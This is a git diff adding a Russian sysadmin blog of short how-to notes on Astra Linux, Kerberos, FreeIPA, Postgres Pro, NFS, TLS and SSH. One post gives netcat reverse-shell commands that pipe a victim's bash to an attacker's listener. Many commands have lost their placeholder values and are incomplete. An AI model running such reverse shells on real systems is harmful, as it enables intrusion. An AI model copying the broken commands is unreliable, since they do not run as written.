diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 0000000..8e52a03 --- /dev/null +++ b/.gitmodules @@ -0,0 +1,3 @@ +[submodule "themes/archie"] + path = themes/archie + url = https://github.com/athul/archie diff --git a/archetypes/default.md b/archetypes/default.md new file mode 100644 index 0000000..00e77bd --- /dev/null +++ b/archetypes/default.md @@ -0,0 +1,6 @@ +--- +title: "{{ replace .Name "-" " " | title }}" +date: {{ .Date }} +draft: true +--- + diff --git a/config.toml b/config.toml new file mode 100644 index 0000000..9ccf402 --- /dev/null +++ b/config.toml @@ -0,0 +1,24 @@ +baseURL = "http://fruw.org/" +anguageCode = "ru-RU" +title = "фрув.орг" +theme = "archie" + +pygmentsstyle = "fruity" +pygmentscodefences = true +pygmentscodefencesguesssyntax = true +paginate=4 # articles per page + +[params] + mode="dark" # color-mode → light,dark,toggle or auto + description="всем привет!" + #useCDN=false # don't use CDNs for fonts and icons, instead serve them locally. + +[[menu.main]] +name = "Все посты" +url = "/posts" +weight = 1 + +[[menu.main]] +name = "Теги" +url = "/tags" +weight = 2 diff --git a/content/posts/ald-pro.md b/content/posts/ald-pro.md new file mode 100644 index 0000000..03f3e66 --- /dev/null +++ b/content/posts/ald-pro.md @@ -0,0 +1,49 @@ +--- +title: Установка и конфигурация ALD Pro +description: Astra Linux Directory Pro +date: 2023-05-08T23:25:00+05:00 +tags: [linux, astra, krb5] +--- +## Создания сетевой видимости + +```shell + . + +# /etc/hosts +``` + +## Смена хостнейма +```shell +hostnamectl set-hostname . +``` + +## Добавление репозиториев ALD Pro +```shell +deb https://download.astralinux.ru/aldpro/stable/repository-main/ 1.0.0 main +deb https://download.astralinux.ru/aldpro/stable/repository-extended/ generic main + +# /etc/apt/sources.list.d/aldpro.list +``` + +## Выставление приоритета репозиториев +```shell +Package: * +Pin: release n=generic +Pin-Priority: 900 + +# /etc/apt/preferences.d/aldpro +``` + +## Установка пакета +```shell +DEBIAN_FRONTEND=noninteractive apt-get install -q -y aldpro-mp +``` + +## Развёртывание +После того, как команда развёртывания отработает и сервер перезагрузитcя, +сервер ALD Pro будет доступен по адресу: https://\.\ + +```shell +/opt/rbta/aldpro/mp/bin/aldpro-server-install.sh \ + -d -n -p --ip +``` diff --git a/content/posts/astra-fly.md b/content/posts/astra-fly.md new file mode 100644 index 0000000..aa60798 --- /dev/null +++ b/content/posts/astra-fly.md @@ -0,0 +1,27 @@ +--- +title: "Установка fly-dm (GUI) на Astra Linux" +date: 2023-04-04T12:35:00+05:00 +description: Небольшая памятка +tags: [linux, astra] +--- +## Установка пакета fly +```bash +apt install fly-all-main +``` + +## Загрузка ОС с GUI по-умолчанию +```bash +systemctl set-default graphical.target +``` + +## Примечание + +### Посмотреть текущую конфигурацию загрузки +```bash +systemctl get-default +``` + +### Вернуть загрузку ОС с CLI +```bash +systemctl set-default multi-user.target +``` diff --git a/content/posts/astra-freeipa.md b/content/posts/astra-freeipa.md new file mode 100644 index 0000000..76eda08 --- /dev/null +++ b/content/posts/astra-freeipa.md @@ -0,0 +1,50 @@ +--- +title: Установка и конфигурация FreeIPA на Astra Linux +description: Сервер и клиент +date: 2023-03-25T01:08:00+05:00 +tags: [linux, astra, krb5, freeipa] +--- +## Общая настройка + +### Создания сетевой видимости + +```shell + . + . + +# /etc/hosts +``` + +## Настройка cервера + +### Смена хостнейма +```shell +hostnamectl set-hostname . +``` + +### Установка пакета +```shell +apt install fly-admin-freeipa-server -y +``` + +### Развёртывание +```shell +astra-freeipa-server -d -n -px -ip -o --dogtag -y +``` + +## Настройка клиента + +### Смена хостнейма +```shell +hostnamectl set-hostname . +``` + +### Установка пакета +```shell +apt install fly-admin-freeipa-client -y -px "--force" +``` + +### Конфигурация клиента +``` shell +astra-freeipa-client -d +``` diff --git a/content/posts/bareos-install.md b/content/posts/bareos-install.md new file mode 100644 index 0000000..2a4f3b8 --- /dev/null +++ b/content/posts/bareos-install.md @@ -0,0 +1,70 @@ +--- +title: Установка Bareos на Astra Linux SE +description: Инструкция по установке из репозитория Bareos +date: 2023-01-27T16:08:00+05:00 +tags: [linux, postgres, bareos, apache] +--- +## Конфигурация Сервера + +### Установка Bareos и PostgreSQL +```shell +curl -s https://download.bareos.org/current/Debian_10/add_bareos_repositories.sh | bash +apt update +apt install postgresql bareos bareos-webui +``` + +### Конфигурация БД +```shell +dpkg-reconfigure bareos-database-common +``` + +### Включение сервисов Bareos, PostgreSQL и Apache +```shell +systemctl enable --now postgresql bareos-director bareos-filedaemon bareos-storage apache2 +``` + +### Создание пользователя для Bareos-webui и конфига клиента +Веб Bareos'а находится по адресу: [http://\/bareos-webui/](http://localhost/bareos-webui/) +```shell +bconsole +configure add console name= password= profile=webui-admin tlsenable=no +configure add client name= address= password= +reload +exit +``` + +### Бэкап определённой папки +```shell +FileSet { + Name = "" + Description = "" + Include { + Options { + Signature = MD5 # calculate md5 checksum per file + } + File = "" + } +} + +# /etc/bareos/bareos-dir.d/fileset/.conf +``` + +## Конфигурация клиента + +### Установка Bareos Filedaemon +```shell +curl -s https://download.bareos.org/current/Debian_10/add_bareos_repositories.sh | bash +apt update +apt install bareos-filedaemon +``` + +### Перенос конфига с сервера на клиент +```shell +scp @:/etc/bareos/bareos-dir-export/client\ + //bareos-fd.d/director/bareos-dir.conf/etc/bareos/bareos-fd.d/director/ +``` + +### Включение сервиса +```shell +systemctl enable --now bareos-filedaemon +``` diff --git a/content/posts/cifs-automount.md b/content/posts/cifs-automount.md new file mode 100644 index 0000000..238cba7 --- /dev/null +++ b/content/posts/cifs-automount.md @@ -0,0 +1,42 @@ +--- +title: Автомонтирование сетевых дисков на Linux +description: CIFS/SMB +date: 2023-05-12T18:10:00+05:00 +tags: [linux, krb5] +--- +## Установка пакета +```shell +apt install cifs-utils -y +``` + +## Создание файла с данными УЗ +```shell +username= +password= +domain= + +# /root/.smbuser +``` + +## Смена прав на файл с данными УЗ +```shell +sudo chmod 0400 /root/.smbuser +``` + +## Развёртывание +```shell +//
/ cifs credentials=/root/.smbuser,uid=,gid= 0 0 + +# /etc/fstab +``` + +## Монтирование всех директорий +```shell +mount -a +``` + +## Монтирование ручками (необязательно) +```shell +mount -t cifs //
/ -o \ + username=,password=,domain= +``` diff --git a/content/posts/create-user-keytab.md b/content/posts/create-user-keytab.md new file mode 100644 index 0000000..61fcb60 --- /dev/null +++ b/content/posts/create-user-keytab.md @@ -0,0 +1,44 @@ +--- +title: Установка и конфигурация NFS-сервера на Linux +description: И его монтирование на клиентах +date: 2022-11-25T17:57:00+05:00 +tags: [linux, nfs] +--- +## Настройка NFS-сервера + +### Установка пакета +```shell +apt -y install nfs-kernel-server +``` + +### Создание каталога, который будет расшарен +```shell +mkdir /nfs +chmod 777 /nfs +``` + +### Разрешение сетевого доступа +```shell +/nfs (rw,sync,no_root_squash,no_subtree_check) + +# /etc/exports +``` + +## Настройка NFS-клиента + +### Установка пакета +```shell +apt -y install nfs-common +``` + +### Запуск службы +``` shell +systemctl enable --now rpcbind +``` + +### Автомонитрование +```shell +:/nfs /nfs nfs defaults 0 0 + +# /etc/fstab +``` diff --git a/content/posts/create-user-keytab.md.save b/content/posts/create-user-keytab.md.save new file mode 100644 index 0000000..48352a8 --- /dev/null +++ b/content/posts/create-user-keytab.md.save @@ -0,0 +1,44 @@ +--- +title: Создание keytab файла для пользователя +description: В *nix системах +date: 2022-11-25T17:57:00+05:00 +tags: [linux, krb5] +--- +## Настройка NFS-сервера + +### Установка пакета +```shell +apt -y install nfs-kernel-server +``` + +### Создание каталога, который будет расшарен +```shell +mkdir /nfs +chmod 777 /nfs +``` + +### Разрешение сетевого доступа +```shell +/nfs (rw,sync,no_root_squash,no_subtree_check) + +# /etc/exports +``` + +## Настройка NFS-клиента + +### Установка пакета +```shell +apt -y install nfs-common +``` + +### Запуск службы +``` shell +systemctl enable --now rpcbind +``` + +### Автомонитрование +```shell +:/nfs /nfs nfs defaults 0 0 + +# /etc/fstab +``` diff --git a/content/posts/dhcp-resolv.md b/content/posts/dhcp-resolv.md new file mode 100644 index 0000000..0d8a7e4 --- /dev/null +++ b/content/posts/dhcp-resolv.md @@ -0,0 +1,19 @@ +--- +title: Принудительная запись в resolv.conf +description: При использовании DHCP +date: 2023-04-06T02:43:00+05:00 +tags: [linux] +--- +## Конфигурация клиента +Неприятно, когда конфиг не даёт поменять себя ручками, да? + +```bash +supersede domain-name-servers , ; +supersede domain-name ""; + +# /etc/dhcp/dhclient.conf +``` + +```bash +systemctl restart networking +``` diff --git a/content/posts/github-ssh-auth.md b/content/posts/github-ssh-auth.md new file mode 100644 index 0000000..d89baf6 --- /dev/null +++ b/content/posts/github-ssh-auth.md @@ -0,0 +1,27 @@ +--- +title: Работа с репозиториями GitHub через терминал +description: Аутентификация с помощью ключа ssh +date: 2023-07-26T16:29:00+06:00 +tags: [linux, git, ssh] +--- +## Генерация ключа + +```bash +ssh-keygen -t ed25519 -C "@" +``` + +## Вывод публичного ключа + +```bash +cat ~/.ssh/id_ed25519.pub +``` + +## Добавление ключа в GitHub + +Необходимо зайти на GitHub в настройки своего аккаунта и перейти в раздел ["SSH and GPG keys"](https://github.com/settings/keys). Далее нужно нажать "New SSH key", вставить содержимое публичного ключа и сохранить изменения. + +## Аутентификация в GitHub + +```bash +git remote set-url origin git@github.com:/.git +``` diff --git a/content/posts/ip-command.md b/content/posts/ip-command.md new file mode 100644 index 0000000..c4ef89d --- /dev/null +++ b/content/posts/ip-command.md @@ -0,0 +1,31 @@ +--- +title: "Памятка по команде ip" +date: 2022-11-25T19:17:00+05:00 +description: Команда ip в Linux +tags: [linux] +--- +## Показать все интерфейсы +```bash +ip a +ip l +``` + +## Показать информацию по конкретному интерфейсу +```bash +ip a show +ip l show +``` + +## Изменить статус сетевого интерфейса +```bash +ip l set down +ip l set up +``` + +## Добавить или удалить адрес +```bash +ip a add dev +ip a add brd dev +ip a del dev +``` + diff --git a/content/posts/linux-krb5.md b/content/posts/linux-krb5.md new file mode 100644 index 0000000..593496f --- /dev/null +++ b/content/posts/linux-krb5.md @@ -0,0 +1,86 @@ +--- +title: Установка и конфигурация Kerberos на Linux +description: На сервере и клиенте +date: 2022-11-29T13:07:00+05:00 +tags: [linux, krb5] +--- +## Конфигурация сервера + +### Установка пакетов +```shell +apt -y install krb5-kdc krb5-admin-server +``` + +## Конфигурация клиента + +### Установка пакетов +```shell +apt -y install krb5-user libpam-krb5 +``` + +## Общая конфигурация +На сервере и клиенте надо проделать следующие шаги: + +### Смена hostname +```shell +hostnamectl set-hostname +``` + +### Правка файла hosts +Вместо правки файла hosts можно поднять DNS-сервер и сделать записи там. +```shell + + + +# /etc/hosts +``` + +### Редактирование конфига Kerberos +```shell +[libdefaults] + default_realm = + +[realms] + = { + kdc = + admin_server = + kpasswd_server = + default_domain = + } + +[domain_realm] + = + . = + +# /etc/krb5.conf +``` + +## Создание нового реалма (на сервере) + +### Создание master key для БД krb5 +```shell +krb5_newrealm +``` + +### Создание учётной записи администратора +```shell +kadmin.local +addprinc /admin +quit +``` + +### Разрешение административных прав +```shell +/admin + +# /etc/krb5kdc/kadm5.acl +``` + +## Получение билета +```shell +kinit \admin +``` +Проверяем наличие выданного билета: +```shell +klist +``` diff --git a/content/posts/linux-network.md b/content/posts/linux-network.md new file mode 100644 index 0000000..6f4d360 --- /dev/null +++ b/content/posts/linux-network.md @@ -0,0 +1,32 @@ +--- +title: "Настройка сети в Linux" +date: 2022-11-25T15:34:46+05:00 +description: Путём правки конфигурационных файлов +tags: [linux] +--- +## Настройка DNS и домена +```bash +search +nameserver + +# /etc/resolv.conf +``` + +## Статика +```bash +auto +iface inet static + address + netmask + gateway + +# /etc/network/interfaces.d/ +``` + +## DHCP +```bash +auto +iface inet dhcp + +# /etc/network/interfaces.d/ +``` diff --git a/content/posts/linux-nfs.md.save b/content/posts/linux-nfs.md.save new file mode 100644 index 0000000..33cd9f1 --- /dev/null +++ b/content/posts/linux-nfs.md.save @@ -0,0 +1,42 @@ +--- +title: Конфигурация NFS-сервера на Linux +description: И его монтирование на клиентах +date: 2022-11-25T85:08:00+05:00 +tags: [vmware] +--- +## Настройка NFS-сервера + +### Установка пакета +```shell +apt install nfs-kernel-server +``` + +### Создание каталога, который будет расшарен +```shell +sudo mkdir /nfs +sudo chmod 777 /nfs +``` + +### Разрешаем сетевой доступ +```shell +/nfs (rw,sync,no_root_squash,no_subtree_check) + +# /etc/exports +``` + +## Настройка NFS-клиента + +### Установка пакета +```shell +apt install nfs-common +``` + +### Запуск службы +``` shell +systemctl enable --now rpcbind +``` + +### Автомонитрование +```shell +:/nfs /nfs nfs defaults 0 0 +``` diff --git a/content/posts/linux-packages-rebuild.md b/content/posts/linux-packages-rebuild.md new file mode 100644 index 0000000..e693d79 --- /dev/null +++ b/content/posts/linux-packages-rebuild.md @@ -0,0 +1,22 @@ +--- +title: Пересборка .deb пакетов +description: Список команд +date: 2023-01-24T22:58:00+05:00 +tags: [linux] +--- +## Распаковка пакета + +### Распаковка данных +```shell +dpkg -x ".deb" +``` + +### Распаковка метаданных +```shell +dpkg -e ".deb" /DEBIAN +``` + +## Сборка пакета +```shell +dpkg -b ".deb" +``` diff --git a/content/posts/lvm-base-commands.md b/content/posts/lvm-base-commands.md new file mode 100644 index 0000000..92637ba --- /dev/null +++ b/content/posts/lvm-base-commands.md @@ -0,0 +1,31 @@ +--- +title: Памятка по LVM +description: Базовые команды +date: 2022-11-25T13:58:10+05:00 +tags: [linux, lvm] +--- +## Установка пакекта +```shell +apt -y install lvm2 +``` + +## Создание +``` shell +pvcreate /dev/sda +vgcreate vg-name /dev/sda +lvcreate -L 10G -n lv-name vg-name +``` + +## Изменение +```shell +vgextend vg /dev/sdb +lvresize -rL +1G /dev/vg-name/lv-name +lvresize -rl +100%FREE /dev/vg-name/lv-name +``` + +## Просмотр +```shell +pvs +vgs +lvs +``` diff --git a/content/posts/pfx-to-pem.md b/content/posts/pfx-to-pem.md new file mode 100644 index 0000000..6d4edb8 --- /dev/null +++ b/content/posts/pfx-to-pem.md @@ -0,0 +1,29 @@ +--- +title: Конвертация .pfx в .pem +description: Используя OpenSSL +date: 2023-04-12T11:45:00+05:00 +tags: [linux, tls] +--- +## Извлечение сертификата и ключа + +```bash +openssl pkcs12 -in .pfx -out .pem -nodes +``` + +## Извлечение сертификата + +```bash +openssl pkcs12 -in .pfx -clcerts -nokeys -out .pem +``` + +## Извлечение ключа + +```bash +openssl pkcs12 -in .pfx -nocerts -out .tmp.pem +``` + +## Обеспароливание ключа + +```bash +openssl rsa -in .tmp.pem -out .pem +``` diff --git a/content/posts/pg-probackup-setup.md.save b/content/posts/pg-probackup-setup.md.save new file mode 100644 index 0000000..963d303 --- /dev/null +++ b/content/posts/pg-probackup-setup.md.save @@ -0,0 +1,15 @@ +--- +title: pg_probackup +description: Backup Postgres Pro +date: 2022-12-14T12:04:00+05:00 +tags: [linux, postgres] +--- +## Генерируем ключ +```shell +ssh-keygen +``` + +## Копируем ключ +```shell +ssh-copy-id @ +``` diff --git a/content/posts/pg-probackup-setup.md.save.1 b/content/posts/pg-probackup-setup.md.save.1 new file mode 100644 index 0000000..e06ae88 --- /dev/null +++ b/content/posts/pg-probackup-setup.md.save.1 @@ -0,0 +1,15 @@ +--- +title: pg_probackup +description: убличного ключа +date: 2022-12-14T12:04:00+05:00 +tags: [linux, ssh] +--- +## Генерируем ключ +```shell +ssh-keygen +``` + +## Копируем ключ +```shell +ssh-copy-id @ +``` diff --git a/content/posts/postgres-drop-db.md b/content/posts/postgres-drop-db.md new file mode 100644 index 0000000..2fd6037 --- /dev/null +++ b/content/posts/postgres-drop-db.md @@ -0,0 +1,34 @@ +--- +title: Дроп БД форсированно в Postgres +description: На старой и новой версии +date: 2023-03-03T13:26:00+05:00 +tags: [linux, postgres] +--- +## На старой версии (<=12) +Заходим в консоль Postgres: +```shell +psql +``` + +Убиваем соединения с БД: +```shell +SELECT pg_terminate_backend (pid) +FROM pg_stat_activity +WHERE pg_stat_activity.datname = ''; +``` + +Дропаем БД: +```shell +DROP DATABASE ; +``` + +## На новой версии (>=13) +Заходим в консоль Postgres: +```shell +psql +``` + +Дропаем БД: +``` shell +DROP DATABASE WITH (FORCE); +``` diff --git a/content/posts/postgres-krb5.md b/content/posts/postgres-krb5.md new file mode 100644 index 0000000..82b80da --- /dev/null +++ b/content/posts/postgres-krb5.md @@ -0,0 +1,77 @@ +--- +title: Аутентификация в Postgres Pro с помощью Kerberos +description: Используя протокол GSSAPI +date: 2022-11-29T16:21:00+05:00 +tags: [linux, postgres, krb5] +--- +## Установка Kerberos и Postgres Pro +Для начала, необходимо установить [Postgres Pro](//fruw.org/posts/postgres-pro-astra-se) и [Kerberos](//fruw.org/posts/linux-krb5). +На машину с Postgres Pro Kerberos устанавливается также, как и на клиента. + +## Конфигурация сервера Kerberos + +### Добавление принципиала Postgres Pro +```shell +kadmin.local +addprinc +addprinc postgres +addprinc postgres/ +q +``` + +### Экспорт субъекта-службы +```shell +ktutil +add_entry -password -p postgres/@ -k 1 -e aes256-cts-hmac-sha1-96 +wkt postgres.keytab +q +``` + +### Перенос субъекта-службы на сервер Postgres Pro +Перенести keytab можно как угодно, главное, чтобы он находился в папке с конфигурационными файлами Postgres Pro. +Я перенесу с помощью команды scp: +```shell +scp postgres.keytab postgres@:/var/lib/pgpro/std-13/data/ +``` + +## Конфигурация сервера Postgres Pro + +### Включение ранее перенесённого keytab +```shell +ktutil +read_kt postgres.keytab +q +``` + +### Изменение конфигруационного файла Postgres Pro +```shell +krb_server_keyfile = 'postgres.keytab' +listen_addresses = 'localhost, ' + +# /var/lib/pgpro/std-13/data/postgresql.conf +``` + +### Разрешение подключения +```shell +hostgssenc all postgres localhost/32 gss include_realm=0 +hostgssenc /32 gss include_realm=0 + +# /var/lib/pgpro/std-13/data/pg_hba.conf +``` + +### Получение тикета от Kerberos +```shell +kinit postgres +``` + +## Конфигурация клиента + +### Получение тикета от Kerberos +```shell +kinit +``` + +### Подключение к Postgres Pro +```shell +psql -d -h -U +``` diff --git a/content/posts/postgres-ldaps.md b/content/posts/postgres-ldaps.md new file mode 100644 index 0000000..5aeb5d1 --- /dev/null +++ b/content/posts/postgres-ldaps.md @@ -0,0 +1,53 @@ +--- +title: ldaps аутентификация в Postgres Pro +description: ad+ldaps+postgres +date: 2023-06-01T20:40:00+05:00 +tags: [linux, postgres, ad, ldap, tls, windows] +--- +## Выпуск сертфиката +AD необходимо дать роль CA и выпустить сертификат. Подробнее: https://youtu.be/xC3ujXGkh_c?t=160 + +## Перенос сертификата +Необходимо перенести выпущенный конечный сертификат на сервер СУБД и перекодировать следующей командой: + +```shell +openssl x509 -inform der -in .cer -out .pem +``` + +## Установка пакета ldap-utils +```shell +apt install ldap-utils -y +``` + +## Правка ldap конфига +```shell +TLS_CACERT /etc/ldap/.pem +BASE dc=,dc= +URI ldaps://..:636 + +# /etc/ldap/ldap.conf +``` + +## Проверка ldap +```shell +ldapsearch -x -b "dc=,dc=" \ + -H ldaps://..:636 -W -D +``` + +## Правка pg_hba.conf +```shell +host / ldap ldapserver=.. ldapprefix="cn=" ldapsuffix=",cn=users,dc=,dc=" + +# /var/lib/pgpro/std-14/data/pg_hba.conf +``` + +## Создание пользователя в Postgres +```shell +psql -c "CREATE USER ;" +``` + +## Перезапуск Postgres Pro +```shell +systemctl restart postgres* +``` + diff --git a/content/posts/postgres-pro-astra-se.md b/content/posts/postgres-pro-astra-se.md new file mode 100644 index 0000000..9eb87f2 --- /dev/null +++ b/content/posts/postgres-pro-astra-se.md @@ -0,0 +1,35 @@ +--- +title: Установка Postgres Pro на Astra Linux SE +description: Инструкция по установке из репозитория Postgres Proffessional +date: 2022-11-25T16:20:00+05:00 +tags: [linux, astra, postgres] +--- +## Добавление репозитория +``` shell +apt -y install gnupg +wget -O - http://repo.postgrespro.ru/keys/GPG-KEY-POSTGRESPRO | apt-key add - +echo "deb http://repo.postgrespro.ru/pgpro-14/astra-smolensk/1.7 1.7_x86-64 main" \ + > /etc/apt/sources.list.d/pgpro.list +``` +## Установка пакета +```shell +apt update +apt -y install postgrespro-std-14 +``` + +## systemd +```shell +/opt/pgpro/std-14/bin/pg-setup service enable --now +ln -s /lib/systemd/system/postgrespro-std-14.service /etc/systemd/system/postgresql.service +``` + +## Обновление путей +```shell +/opt/pgpro/std-14/bin/pg-wrapper links update +``` + +## Смена пароля postgres +```shell +su - postgres +psql -c "ALTER USER postgres PASSWORD '';" +``` diff --git a/content/posts/postgres-replication.md b/content/posts/postgres-replication.md new file mode 100644 index 0000000..b1fe1ae --- /dev/null +++ b/content/posts/postgres-replication.md @@ -0,0 +1,82 @@ +--- +title: Настройка физической репликации Postgres Pro +description: Потоковая репликация и репликация с архивом +date: 2022-11-25T16:51:00+05:00 +tags: [linux, postgres, nfs] +--- +## Установка Postgres Pro +Процесс установки описан в [этом посте](//fruw.org/posts/postgres-pro-astra-se). + +## Потоковая репликация +Про различия в реализациях репликаций можно почитать вот [здесь](//edu.postgrespro.ru/dba3/dba3_04_replica_physical.pdf). + +### Конфигурация master +Действия с Postgres Pro следует выполнять от имени пользователя postgres. +```shell +su - postgres +``` + +#### Создание пользователя для репликации +```shell +psql -c "CREATE ROLE repuser WITH REPLICATION LOGIN ENCRYPTED PASSWORD '';" +``` + +#### Разрешение подключения для slave +Дописываем в конец файла: +```shell +host replication repuser /32 md5 + +# /var/lib/pgpro/std-13/data/pg_hba.conf +``` + +#### Реконфигурация +```shell +listen_addresses = 'localhost, ' +wal_level = hot_standby +archive_mode = on +archive_command = 'cd .' +max_wal_senders = 8 +hot_standby = on + +# /var/lib/pgpro/std-13/data/postgresql.conf +``` + +#### Перезапуск Postgres Pro +```shell +systemctl restart postgres +``` + +### Настройка slave + +#### Выгрузка файлов с master +```shell +rm -rf /var/lib/pgpro/std-13/data/* +pg_basebackup -P -R -X stream -c fast -h -U postgres -D \ + /var/lib/pgpro/std-13/data +``` + +## Репликация с архивом +Настройка репликации с архивом выролняется с некоторыми отличиями от потоковой репликации: + +### Развёртывание NFS +WAL-архивы будут складываться на NFS. Как сконфигурировать NFS написано [здесь](//fruw.org/posts/linux-nfs). +Необходимо смонтировать NFS на master и slave в одинаковые директории. + +### Дополнение к реконфигурации +```shell +archive_command = 'test ! -f /nfs/%f && cp %p /nfs/%f' +archive_cleanup_command = 'pg_archivecleanup -d /nfs %r 2>>cleanup.log' + +# /var/lib/pgpro/std-13/data/postgresql.conf +``` + +## Синхронный и асинхронный режим репликации +При синхронной репликации, изменения применятся на основном сервере только после того, как они запишутся в WAL хотя бы одной реплики, а при асинхронной - сразу. +По умолчанию репликация работает в асинхронном режиме. +Для того, чтобы она работала в синхронном режиме, необходимо изменить две строки в конфигурационном файле Postgres Pro: +```shell +synchronous_commit = on +synchronous_standby_names = 'pgsql_0_node_0' + +# /var/lib/pgpro/std-13/data/postgresql.conf +``` diff --git a/content/posts/postgres-simple-backup.md b/content/posts/postgres-simple-backup.md new file mode 100644 index 0000000..b454a8e --- /dev/null +++ b/content/posts/postgres-simple-backup.md @@ -0,0 +1,27 @@ +--- +title: Простой бэкап Postgres Pro +description: Используя pg_dump, pg_dumpall, pg_restore и cron +date: 2022-12-14T16:48:00+05:00 +tags: [linux, postgres] +--- +## Скрипт для бэкапа БД и глобальных объектов +```shell +#!/usr/bin/env bash +pg_dump -U -h -Fc --file=-$(date '+%Y-%m-%d').dump +pg_dumpall -U -h --globals --file=gb-$(date '+%Y-%m-%d').dump + +# /home//pg-backup.sh +``` + +## Файл cron с запуском скрипта (каждый день в 2:00) +```shell +0 2 * * * /usr/bin/env bash /home//pg-backup.sh + +# crontab -e -u +``` + +## Рестор файлов БД и глобальных объектов +```shell +pg_restore -C -d postgres -.dump +psql -U postgres < gb-.dump +``` diff --git a/content/posts/postgres-tls.md b/content/posts/postgres-tls.md new file mode 100644 index 0000000..6200646 --- /dev/null +++ b/content/posts/postgres-tls.md @@ -0,0 +1,41 @@ +--- +title: Соединение по TLS в Postgres Pro +description: С использованием scrum-sha-256 +date: 2022-11-28T20:25:00+05:00 +tags: [linux, postgres, tls] +--- +## Создание сертификата +В этом посте я буду использовать самоподписанный сертификат, но сертификат от Let's Encrypt тоже подойдёт. +Сертификат и ключ желательно держать в той же папке, где лежат конфиги Postgres Pro. +``` shell +openssl req -x509 -newkey rsa:4096 -keyout .pem -out .pem -sha256 -days 365 +``` + +## Включение TLS +``` shell +ssl = on +ssl_cert_file = '.pem' +ssl_key_file = '.pem' +listen_addresses = 'localhost, ' + +# /var/lib/pgpro/std-13/data/postgresql.conf +``` + +## Разрешение доступа через TLS +```shell +hostssl scram-sha-256 + +# /var/lib/pgpro/std-13/data/pg_hba.conf +``` + +## (ре)Генерация пароля +В случае, если до этого хеш-алгоритм пароля был не scram-sha-256, то необходимо пересоздать пароль: +```shell +psql -c \password +``` + +## Перезапуск Postgres Pro +```shell +systemctl restart postgres* +``` + diff --git a/content/posts/reverse-shell-nc.md b/content/posts/reverse-shell-nc.md new file mode 100644 index 0000000..888e4d7 --- /dev/null +++ b/content/posts/reverse-shell-nc.md @@ -0,0 +1,20 @@ +--- +title: Reverse Shell +description: Используя Traditional и OpenBSD Netcat +date: 2022-12-09T15:02:00+05:00 +tags: [linux, ssh, hack] +--- +## Машина атакующего +```shell +nc -lvp +``` +## Машина жертвы (Traditional Netcat) +```shell +nc -e /bin/bash +``` + +## Машина жертвы (OpenBSD Netcat) +```shell +mkfifo /tmp/rev; nc < /tmp/rev \ + | /bin/bash 2>&1 | tee /tmp/rev > /dev/null +``` diff --git a/content/posts/run-nologin.md b/content/posts/run-nologin.md new file mode 100644 index 0000000..4dadcf7 --- /dev/null +++ b/content/posts/run-nologin.md @@ -0,0 +1,20 @@ +--- +title: Принудительное отключение создания файла nologin +description: Дедовским методом +date: 2023-04-06T18:25:00+05:00 +tags: [linux] +--- +## Комментим строку + +В найденых файлах необходимо закомментить все строки с pam_nologin.so. + +```bash +cd /etc/pam.d +nano $(grep -Rl "pam_nologin.so") +``` + +## Перезагружаем машину + +```bash +init 6 +``` diff --git a/content/posts/security-solutions.md b/content/posts/security-solutions.md new file mode 100644 index 0000000..893f707 --- /dev/null +++ b/content/posts/security-solutions.md @@ -0,0 +1,25 @@ +--- +title: Памятка по решениям в ИБ +description: EDR, UEBA, IAM/IDM, SOAR/IRP, SIEM +date: 2023-01-19T13:00:00+05:00 +tags: [security] +--- +# [EDR](//encyclopedia.kaspersky.ru/glossary/edr-endpoint-detection-response/) (Endpoint Detection and Response) +Класс решений для обнаружения и изучения вредоносной активности на конечных точках: подключенных к сети рабочих станциях, серверах, устройствах Интернета вещей и так далее. В отличие от антивирусов, задача которых — бороться с типовыми и массовыми угрозами, EDR-решения ориентированы на выявление целевых атак и сложных угроз.\ +Примеры: [SOLDR](//github.com/vxcontrol/soldr), [Kaspersky EDR](//kaspersky.ru/enterprise-security/endpoint-detection-response-edr) + +# [UEBA](//encyclopedia.kaspersky.ru/glossary/ueba/) (User and Entity Behavior Analytics) +Класс решений для выявления киберугроз, основанная на анализе поведения пользователей, а также устройств, приложений и иных объектов в информационной системе.\ +Примеры: [OpenUBA](//github.com/GACWR/OpenUBA), [InfoWatch Prediction](//infowatch.ru/products/uba-sistema-prediction) + +# [IAM](//anti-malware.ru/security/account-management-iam-idm?page=1) (Identity and Access Management) +Класс решений для автоматизации управления учетными данными и ролями пользователей информационных систем. Системы управления учетными записями также позволяют производить аудит доступа пользователей, обрабатывать электронные заявки на получение доступа и составлять отчеты.\ +Примеры: [FreeIPA](//freeipa.org/page/Main_Page), [RooX UIDM](//uidm.ru) + +# [SOAR](//encyclopedia.kaspersky.ru/glossary/security-orchestration-automation-and-response-soar/) (Security Orchestration, Automation and Response) +Класс программных продуктов, предназначенных для оркестровки систем безопасности, то есть их координации и управления ими. В частности, решения класса SOAR позволяют собирать данные о событиях информационной безопасности из различных источников, обрабатывать их и автоматизировать типовые сценарии реагирования на них.\ +Примеры: [Shuffle](//shuffler.io/), [Security Vision SOAR](//securityvision.ru/products/irp/) + +# [SIEM](//encyclopedia.kaspersky.ru/glossary/siem/) (Security Information and Event Management) +Класс программных продуктов, предназначенных для сбора и анализа информации о событиях безопасности. +Примеры: [Wazuh](//github.com/wazuh/wazuh), [MaxPatrol](//ptsecurity.com/ru-ru/products/mp8) diff --git a/content/posts/selfsigned-to-trusted.md b/content/posts/selfsigned-to-trusted.md new file mode 100644 index 0000000..a66f5d0 --- /dev/null +++ b/content/posts/selfsigned-to-trusted.md @@ -0,0 +1,21 @@ +--- +title: Добавление самоподписанных сертификатов в доверенное хранилище +description: Astra Linux (Debian based) +date: 2023-05-12T18:20:00+05:00 +tags: [linux, astra, tls] +--- +## Получение корневого сертификата +``` +echo quit | openssl s_client -showcerts \ + -servername -connect :443 > .crt +``` + +## Перемещение сертификата +```shell +cp .crt /usr/local/share/ca-certificates +``` + +## Обновление состава доверенного хранилища +```shell +dpkg-reconfigure ca-certificates +``` diff --git a/content/posts/ssh-2fa-totp.md b/content/posts/ssh-2fa-totp.md new file mode 100644 index 0000000..3743d41 --- /dev/null +++ b/content/posts/ssh-2fa-totp.md @@ -0,0 +1,52 @@ +--- +title: Двухфакторная аутентификация для SSH +description: 2fa, totp, google-authenticator +date: 2022-11-29T13:35:00+05:00 +tags: [linux, ssh] +--- +## Установка пакета +```shell +apt install -y openssh-server libpam-google-authenticator +``` + +## Правка конфига PAM +```shell +auth required pam_google_authenticator.so + +# auth required pam_google_authenticator.so +``` + +## Правка конфига ssh +```shell +ChallengeResponseAuthentication yes + +# /etc/ssh/sshd_config +``` + +## Конфигурация аутентификации +Следующая команда сконфигурирует TOTP. +Запускать команду следует от имени того пользователя, +к которому 